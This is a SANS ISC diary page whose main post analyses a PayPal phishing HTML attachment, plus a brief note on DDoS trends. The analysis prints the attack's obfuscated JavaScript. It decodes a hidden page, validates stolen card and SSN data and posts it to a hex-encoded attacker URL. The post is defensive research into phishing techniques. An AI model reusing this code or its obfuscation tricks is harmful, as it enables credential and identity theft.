Threat Level: green Handler on Duty: Didier Stevens

SANS ISC: InfoSec Handlers Diary Blog InfoSec Handlers Diary Blog

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

More Malicious JavaScript Obfuscation

Published: 2016-02-07
Last Updated: 2016-02-08 14:54:46 UTC
by Xavier Mertens (Version: 1)
2 comment(s)

Yesterday, I found an interesting phishing email. Nothing fancy or exotic about the content, just a classic email notification pretending to be sent by Paypal and asking the victim to urgently review and update his/her personal settings. The message was clever enough to not trigger anti-spam rules. The SpamAssassin score was 3.7, just low enough to pass the control:

X-Spam-Status: No, score=3.7 required=4.0 tests=BAYES_20,RCVD_NUMERIC_HELO, SARE_TOCC_COMBO1,TVD_PH_SEC,T_HK_FAKENAME_PAYPAL,T_OBFU_HTML_ATTACH autolearn=no version=3.3.2

The attached file is just simple a regular HTML file containing some obfuscated JavaScript code. This page was unknown to VT when I checked it. Here is a dump of the JavaScript code (beautified for easier reading):

function wp_plugin(r) {
    var e, n, i, t, a, d, o, f, h = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
        c = 0,
        C = 0,
        g = "",
        x = [];
    if (!r) return r;
    r += "";
        t = h.indexOf(r.charAt(c++)),
        a = h.indexOf(r.charAt(c++)),
        d = h.indexOf(r.charAt(c++)),
        o = h.indexOf(r.charAt(c++)),
        f = t << 18 | a << 12 | d << 6 | o,
        e = f >> 16 & 255,
        n = f >> 8 & 255,
        i = 255 & f,
        64 == d ? x[C++] = String.fromCharCode(e) : 64 == o ? x[C++] = String.fromCharCode(e, n) : x[C++] = String.fromCharCode(e, n, i); while (c < r.length);
    return g = x.join(""), g.replace(/\0+$/, "")
function GoogleAnalytics(r, o) {
    s = new Array;
    for (var a = 0; 256 > a; a++) s[a] = a;
    var e, n = 0;
    for (a = 0; 256 > a; a++) n = (n + s[a] + r.charCodeAt(a % r.length)) % 256, e = s[a], s[a] = s[n], s[n] = e;
    a = 0, n = 0;
    for (var t = "", f = 0; f < o.length; f++) a = (a + 1) % 256, n = (n + s[a]) % 256, e = s[a], s[a] = s[n], s[n] = e, t += String.fromCharCode(o.charCodeAt(f) ^ s[(s[a] + s[n]) % 256]);
    return t
var GA_PLUGIN = “.....redacted.....";
var _0xbf60 = ["GA-ID18998", "\x77\x72\x69\x74\x65"];
var GA_PLUGIN1 = wp_plugin(GA_PLUGIN);
var GA_DLL = GoogleAnalytics(_0xbf60[0], GA_PLUGIN1);

A first analyze shows that functions are named with common strings for websites (Wordpress, Google Analytics). No “suspicious” string is present in the code that could trigger a security control. The variable GA_PLUGIN contains ~23KB of data (that have been removed in this post) that looks immediately to be BASE64 encoded. A copy of the original HTML file is available here if you're interested.

GA_PLUGIN is used by wp_plugin() which is a BASE64 decoder function. Let’s decode it manually and we obtain a binary file without any interesting patterns / strings in it. The binary content is passed to the GoogleAnalytics() function with a second parameter (the key). I tried a simple XOR but it failed. The function being available in the code, I did not loose my time and just executed it in a sandbox to get the decoded data which is the complete HTML page that is finally displayed it in the browser via the last line (_0xbf60[1] = “write”). The page looks pretty good:

Here again, the decoded HTML page contains a second layer of obfuscation with more JavaScript code. When the victim clicks on “Submit Form”, data are not posted directly to a remote server but the xsub() function is called. The arrays contain just strings in hexadecimal encoding, nothing fancy. Here is the beautified code:

var _0x22eb9a = "c113b797cd0456be0d1a9c2f35f7d78b.php";
var _0x2da3 = ["\x6C\x65\x6E\x67\x74\x68", "\x63\x68\x61\x72\x41\x74", "\x68\x74\x74\x70\x3A\x2F\x2F\x74\x31\x2E\x73\x79\x73\x74\x65\x6D\x66\x69\x6C\x74\x65\x72\x73\x2E\x6E\x65\x74\x2F", "\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x70\x61\x79\x70\x61\x6C\x2E\x63\x6F\x6D\x2F", "\x72\x65\x70\x6C\x61\x63\x65", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x61\x63\x74\x69\x6F\x6E", "\x65\x6E\x76", "\x66\x6F\x72\x6D\x73", "\x6D\x65\x74\x68\x6F\x64", "\x70\x6F\x73\x74", "\x73\x75\x62\x6D\x69\x74"];
var _0x27ca82 = (function(_0xe689x2) {
    return function(_0xe689x3) {
        var _0xe689x4 = _0xe689x3[_0x2da3[0]],
            _0xe689x5 = 1,
            _0xe689x6 = 0,
        while (_0xe689x4) {
            _0xe689x7 = parseInt(_0xe689x3[_0x2da3[1]](--_0xe689x4), 10);
            _0xe689x6 += (_0xe689x5 ^= 1) ? _0xe689x2[_0xe689x7] : _0xe689x7
        return _0xe689x6 && _0xe689x6 % 10 === 0
}([0, 2, 4, 6, 8, 1, 3, 5, 7, 9]));
var _0x98a278 = _0x2da3[2];
var _0xbbd7eb = 0;

function xsub() {
    if (!_0x11e97d()) {
        return false
    if (!_0xbbd7eb) {
        _0x98a278 += _0x22eb9a
    document[_0x2da3[8]][_0x2da3[7]][_0x2da3[6]] = _0x98a278;
    document[_0x2da3[8]][_0x2da3[7]][_0x2da3[9]] = _0x2da3[10];
var _0x9939 = ["\x76\x61\x6C\x75\x65", "\x63\x63\x61\x72\x64\x6E\x75\x6D", "\x65\x6E\x76", "\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x70\x61\x79\x70\x61\x6C\x2E\x63\x6F\x6D\x2F", "\x72\x65\x70\x6C\x61\x63\x65", "\x6C\x6F\x63\x61\x74\x69\x6F\x6E", "\x63\x61\x64\x64\x72", "\x63\x65\x78\x70\x6D", "\x63\x65\x78\x70\x79", "\x63\x63\x76\x76", "\x6E\x61\x6D\x65", "\x30\x30", "\x63\x73\x73\x6E", "\x6C\x65\x6E\x67\x74\x68", "\x2D", "\x69\x6E\x64\x65\x78\x4F\x66", "\x55\x6E\x69\x74\x65\x64\x20\x53\x74\x61\x74\x65\x73", "\x63\x63\x6F\x75\x6E\x74\x72\x79", "\x63\x7A\x69\x70"];

function _0x11e97d() {
    ax = _0x27ca82(document[_0x9939[2]][_0x9939[1]][_0x9939[0]]);
    if (!ax) {
        return window[_0x9939[5]][_0x9939[4]](_0x9939[3]), !1
    var _0x88a0x2 = document[_0x9939[2]][_0x9939[6]][_0x9939[0]],
        _0x88a0x3 = document[_0x9939[2]][_0x9939[7]][_0x9939[0]],
        _0x88a0x4 = document[_0x9939[2]][_0x9939[8]][_0x9939[0]],
        _0x88a0x5 = document[_0x9939[2]][_0x9939[9]][_0x9939[0]];
    if (!document[_0x9939[2]][_0x9939[10]][_0x9939[0]] || !_0x88a0x2 || !_0x88a0x5 || _0x9939[11] == _0x88a0x3 || _0x9939[11] == _0x88a0x4) {
        return window[_0x9939[5]][_0x9939[4]](_0x9939[3]), !1
    _0x88a0x2 = document[_0x9939[2]][_0x9939[12]][_0x9939[0]];
    _0x88a0x3 = _0x88a0x2[_0x9939[13]];
    _0x88a0x4 = 9; - 1 != _0x88a0x2[_0x9939[15]](_0x9939[14]) && (_0x88a0x4 += 2);
    if (_0x9939[16] == document[_0x9939[2]][_0x9939[17]][_0x9939[0]]) {
        if (0 < _0x88a0x3 && _0x88a0x3 != _0x88a0x4) {
            return window[_0x9939[5]][_0x9939[4]](_0x9939[3]), !1
        _0x88a0x2 = document[_0x9939[2]][_0x9939[18]][_0x9939[0]][_0x9939[13]];
        if (0 < _0x88a0x2 && 5 != _0x88a0x2) {
            return window[_0x9939[5]][_0x9939[4]](_0x9939[3]), !1
    return !0

The interesting line is the first one which contains the PHP page where data are posted. If you browse the code, you see that it is appended to _0x2da3[2] to "\x68\x74\x74\x70\x3A\x2F\x2F\x74\x31\x2E\x73\x79\x73\x74\x65\x6D\x66\x69\x6C\x74\x65\x72\x73\x2E\x6E\x65\x74\x2F" to build the malicious URL:

Another interesting function is _0x11e97d() which performs multiple checks against the data submitted by the victim. Indeed, the attacker took the time to validate the data passed via the form. If one of them does not match the requirements, nothing is sent to the malicious server and just a redirect occurs. Example: The credit card number and SSN are checked (via the function _0x27ca82()). To successfully submit my test data, I bypassed _0x11e97d() with a simple "return 1”. Then the server was contacted and data sent to it. Here is a pcap:

After the successful POST, an HTTP 302 redirects the victim to the real Paypal page.

In this phishing campaign, victims from the United States are targeted because a real SSN is mandatory. It also demonstrates that the attacker took extra care to validate the data to get only valid information sent to him. This is a nice example of multiple obfuscation levels, nothing is downloaded from the Internet, the user has just to execute the HTML file attached to the email. 

Xavier Mertens
ISC Handler - Freelance Security Consultant

2 comment(s)

DDOS is down, but still a concern for ISPs

Published: 2016-02-07
Last Updated: 2016-02-07 15:15:15 UTC
by Rick Wanner (Version: 1)
1 comment(s)

For many reasons,most ISPs are finding that service affecting DDOSes, which were a common occurrence as little as a year ago are rare in the later half of 2015 and so far in 2016.  Hopefully the arrest of some alleged members of DD4BC will also put a damper on the DDOS for ransom fad.  That said DDOS is not dead.  It appears booters services, DDOS for hire services with intent to be a nuisance for individual Internet users, are still a problem which ISPs worldwide are seeing.

The graph shows the common UDP traffic for one ISP.

The large spikes show DDOS attacks, typically aimed at a single IP.   As you can seen the traffic is typically a mix of DNS, port 0, with some chargen thrown in.  For some reason SSDP, which was a large part of attacks in the recent past, has become a small part of the traffic mix in today's attacks. 


-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - - Twitter:namedeplume (Protected)

Keywords: DDOS
1 comment(s)
Diary Archives